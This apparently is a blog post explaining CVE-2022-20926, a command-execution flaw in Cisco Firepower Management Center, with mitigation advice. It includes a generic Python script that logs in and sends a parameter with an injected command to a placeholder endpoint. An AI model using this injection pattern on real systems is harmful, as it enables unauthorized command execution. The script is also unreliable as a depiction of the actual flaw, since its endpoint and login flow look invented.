CVE-2022-20926 - Cisco Firepower Management Center Vulnerability: Comprehension and Exploitation of Arbitrary Command Execution

In the cyber-security realm, ensuring software applications and hardware devices are safe from vulnerabilities is a top priority. A recently identified vulnerability (CVE-2022-20926) in the web management interface of the Cisco Firepower Management Center (FMC) Software can potentially expose critical systems to malicious activities. This post aims to provide a thorough breakdown of this vulnerability, its exploitation, and potential risks to users.

Description of the Vulnerability

CVE-2022-20926 is related to a security flaw in the web management interface of the Cisco Firepower Management Center Software. The vulnerability is caused by insufficient validation of user-supplied parameters for specific API endpoints that allow arbitrary command execution by an authenticated, remote attacker. An attacker can exploit this vulnerability by sending crafted input to an affected API endpoint, and if successful, execute arbitrary commands on the device with low system privileges.

For a malicious actor to effectively exploit CVE-2022-20926, the following conditions must be met

1. Valid user credentials: The attacker must have valid credentials for a user account with Device permissions. By default, only Administrators, Security Approvers, and Network Admins have these permissions.
2. Access to affected API endpoints: The attacker should be able to send crafted input to specific API endpoints to exploit the vulnerability.

Consider the following Python code snippet as an example

import requests

TARGET_URL = 'https://TARGET_FIREPOWER_MGMT_CENTER';
API_ENDPOINT = '/api/vulnerableendpoint'
USERNAME = 'ValidUsername'
PASSWORD = 'ValidPassword'

# Authenticate the user and acquire the token
auth_data = {'username': USERNAME, 'password': PASSWORD}
response = requests.post(TARGET_URL + '/api/auth', data=auth_data)
auth_token = response.text

# Craft the malicious payload
payload_data = {'param1': 'value1', 'param2': 'value2; arbitrary_command'}

# Send crafted input to the vulnerable API endpoint
headers = {'Authorization': 'Token ' + auth_token}
response = requests.post(TARGET_URL + API_ENDPOINT, data=payload_data, headers=headers)

# Check for successful exploitation
if response.status_code == 200:
    print("Exploitation Successful")
else:
    print("Exploitation Failed")

The code snippet above demonstrates a simplified example of how a prospective attacker could exploit the vulnerability by crafting a malicious payload and sending it to the affected API endpoint. It is crucial to emphasize that any arbitrary command placed in the payload_data dictionary could potentially be executed on the target device.

Original References

For further detailed information on the vulnerability and advice on how to mitigate it, please refer to these original references:

1. Cisco Security Advisory: Cisco Firepower Management Center Remote Code Execution Vulnerability
2. National Vulnerability Database: CVE-2022-20926

Conclusion

CVE-2022-20926 is a serious vulnerability that could potentially lead to arbitrary command execution on the Cisco Firepower Management Center Software. It is essential for organizations using this software to stay informed about this vulnerability, apply appropriate updates or patches when they become available, and restrict access to sensitive API endpoints.

By closely following security best practices, such as carefully managing user accounts and privileges, promptly applying security updates, and monitoring system logs for suspicious activity, it is possible to minimize the risk of successful exploitation of this vulnerability.

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/22/2022 00:43:00 UTC